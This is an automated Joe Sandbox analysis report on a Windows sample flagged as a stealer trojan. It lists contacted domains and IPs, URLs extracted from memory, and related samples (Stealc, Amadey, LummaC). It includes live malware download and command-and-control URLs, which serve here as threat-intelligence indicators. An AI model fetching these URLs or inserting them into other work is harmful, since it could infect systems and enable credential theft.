http://31.177.109.184/NXX	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllY	100%	Avira URL Cloud	malware
http://31.177.109.184/1	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dllZ	100%	Avira URL Cloud	malware
http://31.177.109.184/	100%	Avira URL Cloud	malware
http://31.177.109.184/5	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpM	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpta	100%	Avira URL Cloud	malware
http://31.177.109.184/8331a12a495c21b2.php	100%	Avira URL Cloud	malware
http://185.215.113.206ocal	0%	Avira URL Cloud	safe
http://31.41.244.11/files/stealc_main1.exe	100%	Avira URL Cloud	phishing
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347libgcc_s_dw2-1.dll__register_frame_info__der	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php32	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php&	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.110	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false		high
http://185.215.113.206/	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732117864203&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732117864870&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732117863201&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732117857294&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://sb.scorecardresearch.com/b2?rn=1732117857297&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D807BBDD89D650538396E80D9B4640A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732117864319&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high
http://31.177.109.184/	true	Avira URL Cloud: malware	unknown
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false		high
http://185.215.113.16/mine/random.exe	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732117863198&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
http://31.177.109.184/8331a12a495c21b2.php	true	Avira URL Cloud: malware	unknown
https://sb.scorecardresearch.com/b?rn=1732117857297&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D807BBDD89D650538396E80D9B4640A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BAECFCAA.0.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://duckduckgo.com/ac/?q=	BAECFCAA.0.dr	false		high
https://ntp.msn.com/_default	QuotaManager.8.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.8.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
http://31.177.109.184/8331a12a495c21b2.php7O	stealc_main1.exe, 0000001E.00000002.2597602127.00000000006A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/random.exe6	skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.8.dr	false		high
http://31.41.244.11/files/random.exe1	skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://docs.google.com/	manifest.json0.8.dr	false		high
https://curl.se/docs/hsts.html	2bb39d7142.exe, 0000001F.00000002.2728861049.0000000001193000.00000040.00000001.01000000.00000010.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.1980650444.0000000000A07000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive.google.com/	manifest.json0.8.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta	file.exe, 00000000.00000002.1984371781.0000000001588000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GNzbMA16ssY5	DBKKKEHDHCBFIEBFBGIDGHJJJD.0.dr	false		high
http://31.177.109.184/0XV	stealc_main1.exe, 0000001E.00000002.2597602127.00000000006AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
http://31.177.109.184/ws	stealc_main1.exe, 0000001E.00000002.2597602127.00000000006AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php2L	file.exe, 00000000.00000002.2010447472.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.8.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.8.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
http://31.41.244.11/files/random.exe6l	skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BAECFCAA.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllt	file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpX#J	file.exe, 00000000.00000002.2010447472.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.177.109.184/NXX	stealc_main1.exe, 0000001E.00000002.2597602127.00000000006AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://curl.se/docs/alt-svc.html	2bb39d7142.exe, 0000001F.00000002.2728861049.0000000001193000.00000040.00000001.01000000.00000010.sdmp	false		high
https://ace-snapper-privately.ngrok-free.app/test/testFailed	2bb39d7142.exe, 0000001F.00000003.2709941051.0000000007442000.00000004.00001000.00020000.00000000.sdmp, 2bb39d7142.exe, 0000001F.00000002.2728861049.0000000001193000.00000040.00000001.01000000.00000010.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.1984371781.0000000001527000.00000004.00000020.00020000.00000000.sdmp, BAECFCAA.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.8.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DBKKKEHDHCBFIEBFBGIDGHJJJD.0.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	file.exe, 00000000.00000002.1984371781.0000000001588000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.8.dr	false		high
https://www.google.com/chrome	content_new.js.8.dr, content.js.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllZ	file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.8.dr	false		high
https://chromewebstore.google.com/	manifest.json.8.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1984371781.0000000001588000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-preprod.corp.google.com/	manifest.json0.8.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000002.1984371781.0000000001588000.00000004.00000020.00020000.00000000.sdmp	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://msn.comXIDv10	Cookies.10.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 0000001B.00000002.2731009858.0000000000E5F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpM	file.exe, 00000000.00000002.1984371781.0000000001509000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://chrome.google.com/webstore/	manifest.json.8.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllY	file.exe, 00000000.00000002.1984371781.0000000001527000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
http://html4/loose.dtd	2bb39d7142.exe, 0000001F.00000003.2709941051.0000000007442000.00000004.00001000.00020000.00000000.sdmp, 2bb39d7142.exe, 0000001F.00000002.2728861049.0000000001193000.00000040.00000001.01000000.00000010.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.1984371781.0000000001509000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1984371781.0000000001527000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.177.109.184/1	stealc_main1.exe, 0000001E.00000002.2597602127.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.177.109.184/5	stealc_main1.exe, 0000001E.00000002.2597602127.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.1984371781.0000000001527000.00000004.00000020.00020000.00000000.sdmp, BAECFCAA.0.dr	false		high
http://185.215.113.206ocal	file.exe, 00000000.00000002.1980650444.0000000000A07000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5	file.exe, 00000000.00000002.1984371781.0000000001588000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.css	2bb39d7142.exe, 0000001F.00000003.2709941051.0000000007442000.00000004.00001000.00020000.00000000.sdmp, 2bb39d7142.exe, 0000001F.00000002.2728861049.0000000001193000.00000040.00000001.01000000.00000010.sdmp	false		high
http://185.215.113.206/(	file.exe, 00000000.00000002.1984371781.0000000001509000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com	000003.log3.8.dr, 2cc80dabc69f58b6_0.8.dr	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpta	skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-staging.corp.google.com/	manifest.json0.8.dr	false		high
http://31.41.244.11/files/stealc_main1.exe	skotes.exe, 0000001B.00000002.2731009858.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2731009858.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347libgcc_s_dw2-1.dll__register_frame_info__der	2bb39d7142.exe, 0000001F.00000002.2728861049.0000000001193000.00000040.00000001.01000000.00000010.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.1984371781.0000000001527000.00000004.00000020.00020000.00000000.sdmp, BAECFCAA.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php&	skotes.exe, 0000001B.00000002.2731009858.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php32	skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/	000003.log.8.dr	false		high
http://.jpg	2bb39d7142.exe, 0000001F.00000003.2709941051.0000000007442000.00000004.00001000.00020000.00000000.sdmp, 2bb39d7142.exe, 0000001F.00000002.2728861049.0000000001193000.00000040.00000001.01000000.00000010.sdmp	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2014558614.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2007460047.000000001D9EB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start	Session_13376591445365942.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.221.239.203	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.91.222.61	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
184.28.190.187	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
23.219.82.10	unknown	United States	20940	AKAMAI-ASN1EU	false
18.238.49.99	unknown	United States	16509	AMAZON-02US	false
31.177.109.184	unknown	Russian Federation	44053	UNILINK-ASRU	true
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.110	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
23.44.203.75	unknown	United States	20940	AKAMAI-ASN1EU	false
20.44.10.122	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.9
127.0.0.1
192.168.2.23

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559537
Start date and time:	2024-11-20 16:49:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@76/303@26/28
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.17.46, 64.233.165.84, 34.104.35.123, 199.232.214.172, 142.250.181.138, 142.250.181.74, 172.217.19.10, 172.217.19.202, 172.217.17.42, 172.217.17.74, 142.250.181.106, 172.217.19.234, 216.58.208.234, 172.217.21.42, 142.250.181.42, 142.250.181.10, 192.229.221.95, 204.79.197.203, 13.107.42.16, 172.217.19.238, 204.79.197.239, 13.107.21.239, 13.107.6.158, 172.165.61.93, 2.19.198.217, 23.32.238.67, 2.16.158.184, 2.16.158.187, 2.16.158.171, 2.16.158.26, 2.16.158.179, 2.16.158.192, 2.16.158.176, 2.16.158.185, 2.16.158.27, 2.19.198.8, 23.32.239.34, 23.32.239.9, 2.19.198.17, 23.32.239.57, 23.32.239.58, 2.23.209.43, 2.23.209.38, 2.23.209.39, 2.23.209.47, 2.23.209.40, 2.23.209.46, 2.23.209.45, 2.23.209.41, 2.23.209.44, 2.16.158.72, 2.16.158.59, 2.16.158.75, 2.16.158.56, 2.16.158.81, 2.16.158.82, 2.16.158.80, 2.16.158.74, 2.16.158.58, 2.16.158.32, 2.16.158.33, 2.16.158.48, 2.16.158.34, 2.16.158.50, 2.16.158.51, 2.16.158.43, 2.16.158.35, 2.16.158.40, 204.79.197
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edge
Execution Graph export aborted for target DocumentsKKJKFBKKEC.exe, PID 5624 because it is empty
Execution Graph export aborted for target skotes.exe, PID 8532 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:50:50	API Interceptor	127x Sleep call for process: file.exe modified
10:52:01	API Interceptor	229x Sleep call for process: skotes.exe modified
15:51:12	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plus.l.google.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	172.217.18.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	142.250.186.78
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	142.250.186.46
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	216.58.212.174
	qlI3ReINCV.exe	Get hash	malicious	Stealc, Vidar	Browse	216.58.212.142
	http://google.com	Get hash	malicious	Unknown	Browse	142.250.186.46
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.185.174
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.217.16.206
	https://form.jotform.com/243186396374063	Get hash	malicious	HTMLPhisher	Browse	142.250.185.174
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	WSock.dll	Get hash	malicious	Ramnit	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	172.64.41.3
	exe004(1).exe	Get hash	malicious	Ramnit	Browse	162.159.61.3
home.fvtekk5pn.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
